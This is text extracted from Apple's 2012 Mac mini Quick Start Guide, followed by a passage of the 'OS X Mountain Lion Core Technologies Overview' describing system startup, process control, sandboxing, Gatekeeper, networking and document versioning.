The desktop is where you can find everything and do anything on your Mac.
The Dock at the bottom is a handy place to keep the apps you use most. It’s
also where you can open System Preferences, which lets you customize your
desktop and other settings on your Mac. Click the Finder icon to quickly get
to all your files and folders.
The menu bar at the top has lots of useful information about your Mac.
To check the status of your wireless Internet connection, click the Wi-Fi icon.
Your Mac automatically connects to the network you chose during setup.
Hello.
iCloud
iCloud stores your music, photos, documents, calendars, and more. And
it wirelessly pushes them to your Mac, iPhone, iPad, iPod touch, and even
your PC. All without docking or syncing. So when you buy a song on one
device, it’s instantly available on all your other devices. When you adjust
your calendar, all your devices stay up to date. And with Photo Stream,
your latest photos appear everywhere you want to see them, automatically.
To customize your iCloud settings, open the Apple menu, choose System
Preferences, and click iCloud. Then sign in with your Apple ID and choose
the iCloud features you want to use.
Quick Start Guide
Let’s get moving
It’s easy to move files like documents, email, photos, music, and movies
to your new Mac from another Mac or a PC. The first time you start your
new Mac, it walks you through the process step by step. All you have to
do is follow the onscreen instructions.
If your Mac mini shipped with OS X Server, the Server application will
open and walk you through the configuration process.
Help
menu
Menu Dock
bar
Bluetooth
status
Finder System
Preferences
Launchpad
Launchpad is the home for all the
apps on your Mac. Just click the
Launchpad icon in the Dock, and
your open windows are replaced by
a full-screen display of all your apps.
Arrange apps any way you want,
group them together in folders,
or delete them from your Mac.
When you download an app from
the Mac App Store, it automatically
appears in Launchpad.
Mission Control
Mission Control gives you a
bird’s-eye view of everything
running on your Mac. Click the
Mission Control icon in the Dock,
and your desktop zooms out to
display all the open windows in
every application, all your fullscreen apps, and Dashboard, the
home of mini-apps called widgets.
Click anything to zoom in on it.
Think of Mission Control as the hub
of your system—view everything
and go anywhere with just a click.
Welcome to your new Mac mini. We’d like to show you around.
Removable panel
USB 3
Built-in
power supply HDMI Thunderbolt Audio in/out
Gigabit
Ethernet
Power
button
FireWire 800 SD card slot
AC power
cord
HDMI to DVI
adapter
Open Mission Control
Click the Mission Control
icon in the Dock.
Add desktop spaces
Click the + button
to the right of the top
row to add a new space.
Dashboard
Located at the top
left for easy access.
Wi-Fi
status
Open Launchpad
Click the Launchpad
icon in the Dock.
Folders
Group apps in folders
by dragging one app
on top of another.An important note
Please read this document and the safety information in the Important
Product Information Guide carefully before you first use your computer.
Learn more
You can find more information, watch demos, and learn even more about
Mac mini features at www.apple.com/macmini.
Help
You can often find answers to your questions, as well as instructions
and troubleshooting information, in Help Center. Click the Finder icon,
click Help in the menu bar, and choose Help Center.
OS X Utilities
If you have a problem with your Mac, OS X Utilities can help you repair
your computer’s hard drive, restore your software and data from a Time
Machine backup, or erase your hard drive and reinstall OS X and Apple
applications. You can also use Safari to get online help. If your Mac detects
a problem, it opens OS X Utilities automatically. Or you can open it manually
by restarting your computer while holding down the Command and R keys.
Support
Your Mac mini comes with 90 days of technical support and one year
of hardware repair warranty coverage at an Apple Retail Store or an Apple
Authorized Service Provider. Visit www.apple.com/support/macmini
for Mac mini technical support. Or call 1-800-275-2273. In Canada,
call 1-800-263-3394.
Not all features are available in all areas.
TM and © 2012 Apple Inc. All rights reserved. Designed by Apple in California. Printed in XXXX.
034-6575-A
iTunes
With iTunes, you can organize and
play your digital music and videos
on your Mac. And you can shop
the iTunes Store for new music,
movies, TV shows, books, and more.
iTunes is also where you’ll find the
App Store for iPad, iPhone, and
iPod touch.
Click the Safari icon in the Dock
and surf the web quickly and easily
with Multi-Touch gestures. Scroll up
or down with one finger on Magic
Mouse. Swipe right and left with two
Safari web browser
fingers to go back and forth
between pages. Hold down
the Control key and scroll with
one finger to zoom in and out.
Mail
Mail lets you manage all your
email accounts from a single,
ad-free inbox, even when you’re
not connected to the Internet. It
works with most email standards—
including POP3 and IMAP—and
popular email services like Gmail,
Yahoo! Mail, and AOL Mail. You can
also use Mail with the free me.com
email account you get with iCloud.
The first time you open Mail, Setup
Assistant will help you get started.
Calendar
Keep track of your busy schedule
with Calendar. You can create
separate calendars—one for home,
another for school, a third for work.
See all your calendars in a single
window or choose to see only the
calendars you want. Create and
send invitations using contact info
from the Contacts app, then see
who has responded. Use iCloud
to update calendars on all your
devices automatically or share
calendars with other iCloud users.
Messages
Just log in with your Apple ID, and
you can send unlimited messages
including text, photos, videos, and
more to your friends on a Mac, iPad,
iPhone, or iPod touch. With iCloud,
you can start a conversation on one
device and pick it up on another.
And if you want to talk to someone
face to face, you can start a video
call* just by clicking the FaceTime
icon in the top-right corner of the
Messages window.
iPhoto
iPhoto is the best way to organize,
browse, edit, and share your photos
on your Mac. You can organize your
photo library by Faces, Places, and
Events. To send photos by email
or publish them to Facebook, just
select the photo and click Share
in the bottom right of your screen.
Or click Create to turn your favorite
shots into photo books, calendars,
and cards.
iMovie
iMovie puts all your video clips
in one place and gives you the
editing tools and special effects
you need to quickly turn them
into something memorable. You
can make great-looking movies
or even Hollywood-style movie
trailers with just a few clicks. And
iMovie lets you import video from
most popular digital video cameras
or your iPhone, iPad, or iPod touch.
Mac App Store
The Mac App Store is the best way
to find and download thousands of
apps for your Mac, from games and
social networking to productivity
apps and more. New apps install
in one step to Launchpad. You can
install apps on every Mac authorized
for your personal use and even
download them again. The Mac
App Store lets you know when app
and OS X updates are available, so
you always have the latest versions.
Open the Mac App Store by clicking
its icon in the Dock.
Top Sites
Get a quick overview
of the sites you visit
most often.
Reading List
Click the glasses icon to
save pages to read later.
Full-screen view
Click the full-screen button
to go full screen.
One-stop email
View all your accounts in
Mail for one-click access.
Conversation view
See all the email
messages from a
conversation thread.
Search
Quickly narrow search
results to find exactly
what you want.
iTunes Store
Discover and buy new music,
movies, and more.
Genius Mixes
Let iTunes search your music
library and group songs that
go great together.
Multiple calendars
Access all your calendars
from one place.
Calendar view
Select the view you
prefer—day, week,
month, or year.
Add an event
Double-click in a
calendar to create
a new event.
Replies in progress
Three dots mean your
friend is typing a reply.
Delivery receipts
See when your
message has arrived.
FaceTime
Start a video call
right in Messages.
*Requires FaceTime-enabled device for both caller and recipient. Not available in all areas.
Create
Create books,
cards, and calendars.
Faces
iPhoto can even organize
your photos based on
who’s in them.
Events
Double-click any Event
to browse photos.
Event browser
Your imported videos
appear here so you
can access all your clips.
Project browser
Simply drop your clips
in a project to create
a great movie.
Always up to date
Updates to your purchased
apps and OS X appear
automatically.
Discover new apps
Browse thousands of
apps and download them
straight to Launchpad.
OS X Mountain Lion
Core Technologies Overview
June 20122
Core Technologies Overview
OS X Mountain Lion
Contents
Page 3 Introduction
Page 4 System Startup
BootROM
EFI
Kernel
Drivers
Initialization
Address Space Layout Randomization (ASLR)
Page 7 Disk Layout
Partition scheme
Core Storage
File systems
Page 9 Process Control
Launchd
Loginwindow
Grand Central Dispatch
Sandboxing
GateKeeper
XPC
Page 16 Network Access
Ethernet
Wi-Fi
Multihoming
IPv6
Remote Access
Bonjour
Page 21 Document Lifecycle
Auto Save
Automatic Versions
Version Management
iCloud Storage
Page 24 Data Management
Spotlight
Time Machine
Page 26 Developer Tools
LLVM
Xcode
Instruments
Accelerate
Automation
WebKit
Page 33 For More Information3
Core Technologies Overview
OS X Mountain Lion
Introduction
With more than 65 million users—consumers, scientists, animators, developers, system
administrators, and more—OS X is the most widely used UNIX® desktop operating
system. In addition, OS X is the only UNIX environment that natively runs Microsoft
Office, Adobe Photoshop, and thousands of other consumer applications—all side
by side with traditional command-line UNIX applications. Tight integration with
hardware—from the sleek MacBook Air to the powerful Mac Pro—makes OS X the
platform of choice for an emerging generation of power users.
This document explores the powerful industry standards and breakthrough innovations in the core technologies that power Apple’s industry-leading user experiences.
We walk you through the entire software stack, from firmware and kernel to iCloud
and developer tools, to help you understand the many things OS X does for you every
time you use your Mac. 4
Core Technologies Overview
OS X Mountain Lion
BootROM
When you turn on the power to a Mac, it activates the BootROM firmware. BootROM,
which is part of the computer’s hardware, has two primary responsibilities: it initializes
system hardware and it selects an operating system to run. Two BootROM components
carry out these functions:
• Power-On Self Test (POST) initializes some hardware interfaces and verifies that
sufficient memory is available and in a good state.
• Extensible Firmware Interface (EFI) does basic hardware initialization and selects
which operating system to use.
If multiple OS installations are available, BootROM chooses the one that was last
selected by the Startup Disk System Preference. The user can override this choice
by holding down the Option key while the computer starts up, which causes EFI
to display a screen for choosing the startup volume.
EFI boot picker screen.
System Startup5
Core Technologies Overview
OS X Mountain Lion
EFI
EFI—a standard created by Intel—defines the interface between an operating system
and platform firmware. It supersedes the legacy Basic Input Output System (BIOS) and
OpenFirmware architectures.
Once BootROM is finished and an OS X partition has been selected, control passes to
the boot.efi boot loader, which runs inside EFI. The principal job of this boot loader is
to load the kernel environment. As it does this, the boot loader draws the “booting”
image on the screen.
If full-disk encryption is enabled, the boot loader draws the login UI and prompts for
the user’s password, which the system needs so it can access the encrypted disk and
boot from it. Otherwise, loginwindow draws the login UI.
Kernel
The OS X kernel is based on FreeBSD and Mach 3.0 and features an extensible
architecture based on well-defined kernel programming interfaces (KPIs).
OS X was the first operating system to ship as a single install that could boot into
either a 32-bit or 64-bit kernel, either of which could run 32-bit and 64-bit applications
at full native performance. Starting with Mountain Lion, OS X exclusively uses a 64-bit
kernel, but it continues to run both 32-bit and 64-bit applications.
Drivers
Drivers in OS X are provided by I/O Kit, a collection of system frameworks, libraries,
tools, and other resources for creating device drivers. I/O Kit is based on an objectoriented programming model implemented in a restricted form of C++ that omits
features unsuitable for use within a multithreaded kernel.
By modeling the hardware connected to an OS X system and abstracting common
functionality for devices in particular categories, the I/O Kit streamlines the process
of device-driver development. I/O Kit helps device manufacturers rapidly create drivers
that run safely in a multiprocessing, preemptive, hot-pluggable, power-managed
environment.
To do this, I/O Kit provides the following:
• An object-oriented framework implementing common behavior shared among all
drivers and types (families) of drivers
• Many families of drivers for developers to build upon
• Threading, communication, and data-management primitives for dealing with issues
related to multiprocessing, task control, and I/O-transfers
• A robust, efficient match-and-load mechanism that scales well to all bus types
• The I/O Registry, a database that tracks instantiated objects (such as driver instances)
and provides information about them
• The I/O Catalog, a database of all I/O Kit classes available on a system
• A set of device interfaces—plug-in mechanism that allows applications and other
software outside the kernel to communicate with drivers
• Excellent overall performance
• Support for arbitrarily complex layering of client and provider objects6
Core Technologies Overview
OS X Mountain Lion
Initialization
There are two phases to system initialization:
• boot refers to loading the bootstrap loader and kernel
• root means mounting a partition as the root, or top-level, file system.
Once the kernel and all drivers necessary for booting are loaded, the boot loader
starts the kernel’s initialization procedure. At this point, enough drivers are loaded
for the kernel to find the root device—the disk or network service where the rest
of the operating system resides.
The kernel initializes the Mach and BSD data structures and then initializes the I/O Kit.
The I/O Kit links the loaded drivers into the kernel, using the device tree to determine
which drivers to link. Once the kernel finds the root device, it roots BSD off of it.
Address Space Layout Randomization (ASLR)
Many malware exploits rely on fixed locations for well-known system functions.
To mitigate that risk, Mountain Lion randomly relocates the kernel, kexts, and
system frameworks at system boot. This protection is available to both 32-bit and
64-bit processes. 7
Core Technologies Overview
OS X Mountain Lion
Partition scheme
Disk drives are divided into logical partitions, which Apple traditionally calls
volumes. Modern Mac systems use the GUID partition table (GPT) partitioning scheme
introduced by Intel as part of EFI. The partitioning scheme is formally
defined by:
• Section 11.2.2 of “Extensible Firmware Interface Specification,” version 1.1, available
from Intel
• Chapter 5, “GUID Partition Table (GPT) Format,” of the “Unified Extensible Firmware
Interface Specification,” version 2.0, available from the Unified EFI Forum
Any Mac running OS X 10.4 or later can mount GPT-partitioned disks. Intel-based
Mac systems can boot from GPT. By default, the internal hard disk is formatted as GPT.
You can explore and modify GPT disks using the gpt command-line tool derived from
FreeBSD. You can also use Apple’s GPT-aware diskutil utility which provides more
human-readable output.
Helper partitions
Typically a single partition is “blessed” as the active boot volume via the bless
command-line tool, though you can also bless specific folders or files. This partition
is usually also the root volume.
However, sometimes the boot partition is not the root, such as when the root partition
is encrypted using full-disk encryption or located on a device that requires additional
drivers (such as a RAID array). In that case, a hidden helper partition stores the files
needed to boot, such as the kernel cache. The last three known good helper partitions
are maintained in case one becomes corrupted.
Recovery partitions
OS X Lion introduced a new Recovery HD partition that includes the tools you need
to do the following:
• Reinstall OS X
• Repair a hard drive
• Restore from a Time Machine backup
• Launch Safari to view documentation and search the Internet
• Create Recovery HD partitions on external drives.
To boot from the Recovery HD partition, restart your Mac while holding down the
Command key and the R key (Command-R). Keep holding them until the Apple icon
appears, indicating that your Mac is starting up. After the Recovery HD finishes
starting up, you should see a desktop with an OS X menu bar and an OS X Utilities
application window.
Disk Layout8
Core Technologies Overview
OS X Mountain Lion
If your Recovery HD is corrupt or unavailable and you have a network connection,
your Mac will automatically use OS X Internet Recovery to download and boot directly
from Apple’s servers, using a pristine Recovery HD image that provides all the same
functionality.
Core Storage
Layered between the whole-disk partition scheme and the file system used for a
specific partition is a new logical volume format known as Core Storage, introduced
in OS X Lion. Core Storage makes it easy to dynamically allocate partitions while
providing full compatibility with existing filesystems. In particular, Core Storage
allows in-place transformations such as backgrounding the full-disk encryption used
by File Vault 2.
File systems
Partitions are typically formatted using some variant of the HFS Plus file system,
which provides fast Btree-based lookups, robust aliases, and rich metadata—including
fine-grained access controls and extended attributes. Since OS X 10.3 Panther, every
Mac has used a journaled version of HFS Plus (HFSJ) to improve data reliability. Since
OS X 10.6 Snow Leopard, HFS Plus has automatically compressed files.
You can also choose to format partitions with HFSX, a case-sensitive variant of HFS Plus
intended for compatibility with UNIX software. For interoperability with Windows,
systems disks may be formatted with FAT32 or exFAT.9
Core Technologies Overview
OS X Mountain Lion
Launchd
The kernel invokes launchd as the first process to run and then bootstraps the
rest of the system. It replaces the complex web of init, cron, xinetd, and
/etc/rc used to launch and manage processes on traditional UNIX systems.
launchd first appeared in OS X 10.4 Tiger. It is available as open source under the
Apache license.
File-based configuration
Each job managed by launchd has its own configuration file in a standard
launchd.plist(5) file format, which specifies the working directory, environment
variables, timeout, Bonjour registration, etc. These plists can be installed independently
in the standard OS X library domains (for example, /Network/Library, /System/Library, /
Library, or ~/Library), avoiding the need to edit system-wide configuration scripts. Jobs
and plists can also be manually managed by the launctl(1) command-line tool.
Launch on demand
launchd prefers for processes to run only when needed instead of blocking or
polling continuously in the background. These launch-on-demand semantics avoid
wasting CPU and memory resources, and thus prolong battery life.
For example, jobs can be started based on the following:
• If the network goes up or down
• When a file path exists (e.g., for a printer queue)
• When a device or file system is mounted
Smart scheduling
Like traditional UNIX cron jobs, launchd jobs can be scheduled for specific calendar
dates with the StartCalendarInterval key, as well as at generic intervals via
the StartInterval key. Unlike cron—which skips job invocations when the
computer is asleep—launchd starts the job the next time the computer wakes up.
If the computer sleeps through multiple intervals, those events will be coalesced into
a single trigger.
User agents
launchd defines a daemon as a system-wide service where one instance serves
multiple clients. Conversely, an agent runs once for each user. Daemons should not
attempt to display UI or interact directly with a user’s login session; any and all work
that involves interacting with a user should be done through agents.
Process Control10
Core Technologies Overview
OS X Mountain Lion
Every launchd agent is associated with a Session Type, which determines where it
runs and what it can do, as shown in the following table:
Name Session type Notes
GUI Aqua Has access to all GUI services; much like a login item
Non-GUI StandardIO Runs only in non-GUI login sessions (for example, SSH
login sessions)
Per-user Background Runs in a context that’s the parent of all contexts for a
given user
Pre-login LoginWindow Runs in the loginwindow context
Install on demand
To reduce download sizes and the surface area available to attackers, OS X provides
an install-on-demand mechanism for certain subsystems. This provides easy access for
those users who need them without burdening those who don’t. When you launch an
application that relies on X11 or Java, OS X asks whether you want to download the
latest version as shown in the next image.
OS X prompts users if they attempt to run applications that require X11.
Loginwindow
As the final part of system initialization, launchd launches loginwindow. The
loginwindow program controls several aspects of user sessions and coordinates
the display of the login window and the authentication of users.
If a password is set, OS X requires users to authenticate before they can access the
system. The loginwindow program manages both the visual portion of the login
process (as manifested by the window where users enter name and password
information) and the security portion (which handles user authentication).
Once a user has been authenticated, loginwindow begins setting up the user
environment. As part of this process, it performs the following tasks:
• Secures the login session from unauthorized remote access
• Records the login in the system’s utmp and utmpx databases
• Sets the owner and permissions for the console terminal
• Resets the user’s preferences to include global system defaults
• Configures the mouse, keyboard, and system sound according to user preferences
• Sets the user’s group permissions (gid)11
Core Technologies Overview
OS X Mountain Lion
• Retrieves the user record from Directory Services and applies that information to
the session
• Loads the user’s computing environment (including preferences, environment
variables, device and file permissions, keychain access, and so on)
• Launches the Dock, Finder, and SystemUIServer
• Launches the login items for the user
Once the user session is up and running, loginwindow monitors the session and
user applications in the following ways:
• Manages the logout, restart, and shutdown procedures
• Manages Force Quit by monitoring the currently active applications and responding
to user requests to force quit applications and relaunch the Finder. (Users open this
window from the Apple menu or by pressing Command-Option-Escape.)
• Arranges for any output written to the standard error console to be logged using
the Apple System Loger (ASL) API. (See “Log Messages Using the ASL API” in the
OS X Developer Library.)
Grand Central Dispatch
Grand Central Dispatch (GCD) supports concurrent computing via an easy-to-use
programming model built on highly efficient system services. This radically simplifies
the code needed for parallel and asynchronous processing across multiple cores.
GCD is built around three core pieces of functionality:
• Blocks, a concise syntax for describing work to be done
• Queues, an efficient mechanism for collecting work to be done
• Thread pools, an optimal service for distributing work to be done
These help your Mac make better use of all available CPU cores while improving
responsiveness by preventing the main thread from blocking.
System-wide optimization
The central insight of GCD is shifting the responsibility for managing threads and their
execution from applications to the operating system. As a result, programmers can
write less code to deal with concurrent operations in their applications, and the system
can perform more efficiently on both single-processor and multiprocessor machines.
Without a pervasive approach such as GCD, even the best-written application cannot
deliver optimal performance across diverse environments because it lacks insight into
everything else happening on the system.
Blocks
Block objects are extensions to C, Objective-C, and C++ that make it easy for
programmers to encapsulate inline code and data for later use. Here’s what a block
object looks like:
int scale = 4;
int (^Multiply)(int) = ^(int num) {
return scale * num;
};
int result = Multiply(7); // result is 2812
Core Technologies Overview
OS X Mountain Lion
These types of “closures”—effectively a function pointer plus its invocation context—
are common in dynamically-typed interpreted languages, but they were never before
widely available to C programmers. Apple has published both the Blocks Language
Specification and its implementation as open source under the MIT license and added
blocks support to both GCC and Clang/LLVM.
Queues
GCD dispatch queues are a powerful tool for performing tasks safely and efficiently on
multiple CPUs. Dispatch queues atomically add blocks of code that can execute either
asynchronously or synchronously. Serial queues enable mutually exclusive access to
shared data or other resources without the overhead or fragility of locks. Concurrent
queues can execute tasks across multiple distinct threads, based on the number of
currently available CPUs.
Thread pools
The root level of GCD is a set of global concurrent queues for every UNIX process,
each of which is associated with a pool of threads. GCD dequeues blocks and private
queues from the global queues on a first-in/first-out (FIFO) basis as long as there are
available threads in the thread pool, providing an easy way to achieve concurrency.
If there is more work than available threads, GCD asks the kernel for more threads,
which are given if there are idle logical processors. Conversely, GCD eventually retires
threads from the pool if they are unused or the system is under excessive load. This
all happens as a side effect of queuing and completing work so that GCD itself doesn’t
require a separate thread. This approach provides optimal thread allocation and CPU
utilization across a wide range of loads.
Event sources
In addition to scheduling blocks directly, GCD makes it easy to run a block in response
to various system events, such as a timer, signal, I/O, or process state change. When
the source fires, GCD will schedule the handler block on the specific queue if it is not
currently running, or—more importantly—coalesce pending events if it is running.
This provides excellent responsiveness without the expense of either polling or binding a thread to the event source. Plus, since the handler is never run more than once
at a time, the block doesn’t even need to be reentrant; only one thread will attempt
to read or write any local variables.
OpenCL integration
Developers traditionally needed to write custom vector code—in addition to their
usual scalar code—in order to take full advantage of modern processors. OpenCL
is an open standard, language, runtime, and framework introduced in OS X 10.6
Snow Leopard. The OpenCL standard makes it straightforward take advantage of the
immense processing power available in GPUs, vector extensions, and multi-core CPUs.
You can use OpenCL to move the most time-consuming routines into computational
“kernels” written in a simple, C-like language. The OpenCL runtime dynamically compiles these kernels to take advantage of the type and number of processors available
on a computer. As of OS X 10.7 Lion, the system takes care of autovectorizing kernels
to run efficiently on GPUs or CPUs. OpenCL kernels can also be written as separate
files that run as blocks on the GPU or CPU using a special GCD queue.13
Core Technologies Overview
OS X Mountain Lion
Sandboxing
Sandboxes ensure that processes are only allowed to perform a specific set of
expected operations. For example, a web browser regularly needs to read from the
network, but shouldn’t write to the user’s home folder without explicit permission.
Conversely, a disk usage monitor may be allowed to read directories and delete files,
but not talk to the network.
These restrictions limit the damage a program could potentially cause if it became
exploited by an attacker. By using attack mitigation, sandboxes complement the usual
security focus on attack prevention. For this reason, we recommend that sandboxes
be used with all applications, and we require their use for apps distributed via the
Mac App Store.
Mandatory access controls
Sandboxes are built on low-level access control mechanisms enforced in the kernel
by the kauth subsystem. This was introduced in OS X 10.4 Tiger based on work
originating in TrustedBSD. kauth identifies a valid actor (typically a process) by its
credentials. It then asks one or more listeners to indicate whether that actor can
perform a given action within a specified scope (authorization domain). Only the
initial (default) listener can allow a request; subsequent listeners can only deny or
defer. If all listeners defer, kauth denies the request.
Entitlements
Sandboxes collect these low-level actions into specific entitlements that an application
must explicitly request by adding the appropriate key to a property list file in its
application bundle. Entitlements can control access to:
• The entire file system
• Specific folders
• Networking
• iCloud
• Hardware (for example, the built-in camera or microphone)
• Personal information (for example, contacts)
In addition, entitlements control whether processes inherit their parents’ permissions
and can grant temporary exceptions for sending and receiving events or reading and
writing files.
User intent
While it may seem that virtually all applications would need to request broad entitlements to read and write files, that isn’t the case. OS X tracks user-initiated actions,
such as dragging a file onto an application icon, and automatically opens a temporary
hole in the sandbox allowing the application to read just that one file. In particular,
open and save panels run in a special-purpose PowerBox process that handles all user
interaction. This allows applications to only request entitlements for actions they need
to perform autonomously.
Code signing
Entitlements use code signing to ensure the privileges they specify only cover the
code originally intended. Code signing uses public key cryptography to verify that the
entity that created the entitlements (that is, the developer) is the same as the author
of the executable in question, and that neither has been modified.14
Core Technologies Overview
OS X Mountain Lion
GateKeeper
Gatekeeper is a new feature in OS X Mountain Lion that helps protect you from
downloading and installing malicious software. Developers can sign their applications,
plug-ins, and installer packages with a Developer ID certificate to let Gatekeeper verify
that they come from identified developers.
Developer ID certificates
As part of the Mac Developer Program, Apple gives each developer a unique
Developer ID for signing their apps. A developer’s digital signature lets Gatekeeper
verify that they have not distributed malware and that the app hasn’t been
tampered with.
User control
Choose the kinds of apps that are allowed to run on OS X Mountain Lion from
the following:
• Only apps from the Mac App Store, for maximum security
• Apps from the Mac App Store as well as apps that have a Developer ID
• Apps from anywhere
You can even temporarily override higher-protection settings by clicking on the app
while holding down the Control key and then choosing Open from the contextual
menu. This lets you install and run any app at any time. Gatekeeper ensures that you
stay completely in control of your system.
You control which kinds of apps you want your system to trust.15
Core Technologies Overview
OS X Mountain Lion
XPC
XPC leverages launchd, GCD, and sandboxing to provide a lightweight mechanism
for factoring an application into a family of coordinating processes. This factoring
improves launch times, crash resistance, and security by allowing each process to
focus on one specific task.
No configuration needed
XPC executables and xpcservice.plist(5) configuration files are all part of
a single app bundle, so there is no need for an installer.
Launch-on-demand
XPC uses launchd to register and launch helper processes as they are needed.
Asynchronous communication
XPC uses GCD to send and receive messages asynchronously using blocks.
Privilege separation
XPC processes each have their own sandbox, allowing clean separation of responsibilities.
For example, an application that organizes and edits photographs does not usually
need network access. However, it can create an XPC helper with different entitlements
whose sole purpose is to upload photos to a photo sharing website.
Out of band data
In addition to primitive data types such as booleans, strings, arrays, and dictionaries,
XPC can send messages containing out-of-band data such as file descriptors and
IOSurface media objects.16
Core Technologies Overview
OS X Mountain Lion
Ethernet
Mac systems were the first mass-market computers to ship with built-in Ethernet.
OS X today supports everything from 10BASE-T to 10 gigabit Ethernet. The Ethernet
capabilities in OS X include the following
Automatic link detection.
Automatic link detection brings up the network stack whenever a cable is plugged in,
and safely tears it down when the cable is removed.
Auto-MDIX
This feature reconfigures the connection depending on whether you are connecting
to a router or another computer, so you no longer need special crossover cables.
Autonegotiation
Autonegotiaton discovers and uses the appropriate transmission parameters for a
given connection, such as speed and duplex matching.
Channel bonding
Channel bonding supports the IEEE 802.3ad/802.1ax Link Aggregation Control
Protocol for using multiple low-speed physical interfaces as a single high-speed
logical interface.
Jumbo frames
This capability uses Ethernet frames of up to 9000 bytes with Gigabit Ethernet switches
that allow them.
TCP segmentation offload
To reduce the work required of the CPU, TCP segmentation offload lets the Network
Interface Card (NIC) handle splitting a large outgoing buffer into individual packets.
Wi-Fi
Apple brought Wi-Fi to the mass market with the original Airport card and continues
to provide cutting edge wireless networking across our product lines.
Built in to every Mac
Every Mac we ship—from the 11-inch Macbook Air to the top-of-the-line Mac Pro—has
802.11n networking built right in, along with 802.11a/b/g compatibility.
Network Access17
Core Technologies Overview
OS X Mountain Lion
AirDrop
AirDrop, introduced in OS X 10.7 Lion, makes it easy to safely share files wirelessly with
nearby users, even if you aren’t on the same network. AirDrop leverages the wireless
hardware on newer Mac systems to find and connect to other computers on an ad hoc
basis, even if they are already associated with different Wi-Fi networks.
Share files wirelessly with anyone around you using AirDrop.
AirPlay
AirPlay lets you stream music throughout your entire house—wirelessly. Starting with
OS X 10.8 Mountain Lion, you can share audio or mirror your screen from your Mac to
an Apple TV or any other AirPlay-enabled device.
OS X treats AirPlay as just another audio output device.18
Core Technologies Overview
OS X Mountain Lion
Multihoming
OS X can have multiple network interfaces active at the same time and dynamically
determines the optimal one to use for a given connection. Here are some examples
of where this is useful:
• Connecting to the Internet via Ethernet when you plug a Mac in to the network,
but seamlessly switching over to Wi-Fi when the network cable is unplugged.
• Routing all corporate traffic through a VPN server for security, while accessing the
public Internet directly to reduce latency.
• Internet Sharing, where one interface, such as Ethernet, is connected to the
public Internet while the other, such as Wi-Fi, acts as a router for connecting your
other devices.
IPv6
OS X provides best-of-breed support for IPv6, the next-generation 128-bit Internet
protocol.
Key features of IPv6 in OS X include:
• Full support for both stateful and stateless DHCPv6
• Happy Eyeballs algorithm (RFC 6555) for intelligently selecting between IPv6 and
IPv4 addresses when both are available
• High-level APIs that resolve names directly so applications don’t need to know
whether they are using IPv4 or IPv6
• IPv6-enabled user applications (for example, Safari)
Remote Access
Captive networks
Like iOS, OS X now automatically detects the presence of a captive network and
prompts for the authentication necessary to reach the public Internet.
VPN client
OS X includes a virtual private network (VPN) client that supports the Internet standard
Layer 2 Tunneling Protocol (L2TP) over IPSec (the secure version of IPv4), as well as the
older Point-to-Point Tunneling Protocol (PPTP). OS X also includes a VPN framework
developers can use to build additional VPN clients.
Firewalls
In addition to the ipfw2-based system-wide firewall, OS X includes an application
firewall that can be configured to allow only incoming access to preapproved
applications and services.
Self-tuning TCP
OS X sets the initial maximum TCP window size according to the local resources
and connection type, enabling TCP to optimize performance when connecting to
high-bandwidth/high-latency networks.19
Core Technologies Overview
OS X Mountain Lion
Port mapping
NAT-PMP enables you to export Internet services from behind a NAT gateway, while
Wide Area Bonjour lets you register the resulting port number with Back to My Mac.
This enables you to easily and securely access your home printer and disk drives
remotely, even from the public Internet.
Bonjour
Bonjour is Apple’s implementation of the Zero Configuration Networking standard.
It helps applications discover shared services such as printers on the local network.
It also enables services to coordinate within and across machines without requiring
well-known port numbers. Bonjour’s ability to painlessly find other computers over
a network is critical to many Apple technologies, such as AirPlay and AirDrop.
Link-local addressing
Any user or service on a computer that needs an IP address benefits from this feature
automatically. When your host computer encounters a local network that lacks DHCP
address management, it finds an unused local address and adopts it without you
having to take any action.
Multicast DNS
Multicast DNS (mDNS) uses DNS-format queries over IP multicast to resolve local
names not handled by a central DNS server. Bonjour goes further by handling mDNS
queries for any network service on the host computer. This relieves your application of
the need to interpret and respond to mDNS messages. By registering your service with
the Bonjour mDNSResponder daemon, OS X automatically directs any queries for your
name to your network address.
Service discovery
Service discovery allows applications to find all available instances of a particular
type of service and to maintain a list of named services. The application can then
dynamically resolve a named instance of a service to an IP address and port number.
Concentrating on services rather than devices makes the user’s browsing experience
more useful and trouble-free.
Wide Area Bonjour
Starting in OS X 10.4, Bonjour now uses Dynamic DNS Update (RFC 2316) and unicast
DNS queries to enable discovery and publishing of services to a central DNS server.
These can be viewed in the Bonjour tab of Safari in addition to other locations. This
feature can be used by companies to publicize their Intranet or by retailers to advertise
promotional web sites.
High-level APIs
OS X provides multiple APIs for publication, discovery, and resolution of network
services, as follows:
• NSNetService and NSNetServiceBrowser classes, part of the Cocoa Foundation framework, provide object-oriented abstractions for service discovery and publication.
• The CFNetServices API declared in the Core Services framework provide Core
Foundation-style types and functions for managing services and service discovery.
• The DNS Service Discovery API, declared in ,
provides low-level BSD socket communication for Bonjour services.20
Core Technologies Overview
OS X Mountain Lion
Wake On Demand
Wake on Demand allows your Mac to sleep yet still advertise available services via
a Bonjour Sleep Proxy (typically an AirPort Extreme Base Station) located on your
network. The proxy automatically wakes your machine when clients attempt to access
it. Your Mac can even periodically do a maintenance wake to renew its DHCP address
and other leases.
Open source
The complete Bonjour source code is available under the Apache License, Version
2.0 on Apple’s open source website, where it’s called the mDNSResponder project.
You can easily compile it for a wide range of platforms, including UNIX, Linux, and
Windows. We encourage hardware device manufacturers to embed the open source
mDNSResponder code directly into their products and, optionally, to pass the Bonjour
Conformance Test so they can participate in the Bonjour Logo Licensing Program.21
Core Technologies Overview
OS X Mountain Lion
Auto Save
You no longer need to manually save important documents every few minutes, thanks
to the new Auto Save facility introduced in OS X 10.7 Lion. Applications that support
Auto Save automatically save your data in the background whenever you pause or
every five minutes, whichever comes first. If the current state of your document has
been saved, OS X won’t even prompt you before quitting the application, making
logouts and reboots virtually painless.
Automatic Versions
Versions, also introduced in OS X 10.7 Lion, automatically records the history of a
document as you create and make changes to it. OS X automatically creates a new
version of a document each time you open it and every hour while you’re working
on it. You can also manually create snapshots of a document whenever you like.
OS X uses a sophisticated chunking algorithm to save only the information that has
changed, making efficient use of space on your hard drive (or iCloud). Versions understands many common document formats, so it can chunk documents between logical
sections, not just at a fixed number of bytes. This allows a new version to store—for
example, just the one chapter you rewrote instead of a copy of the entire novel.
OS X automatically manages the version history of a document for you, keeping
hourly versions for a day, daily versions for a month, and weekly versions for all
previous months.
To further safeguard important milestones, OS X automatically locks documents that
were edited more than two weeks ago. You can change the interval by clicking the
Options… button in the Time Machine System Preferences pane, then choosing the
interval you want from the Lock documents pop-up menu.
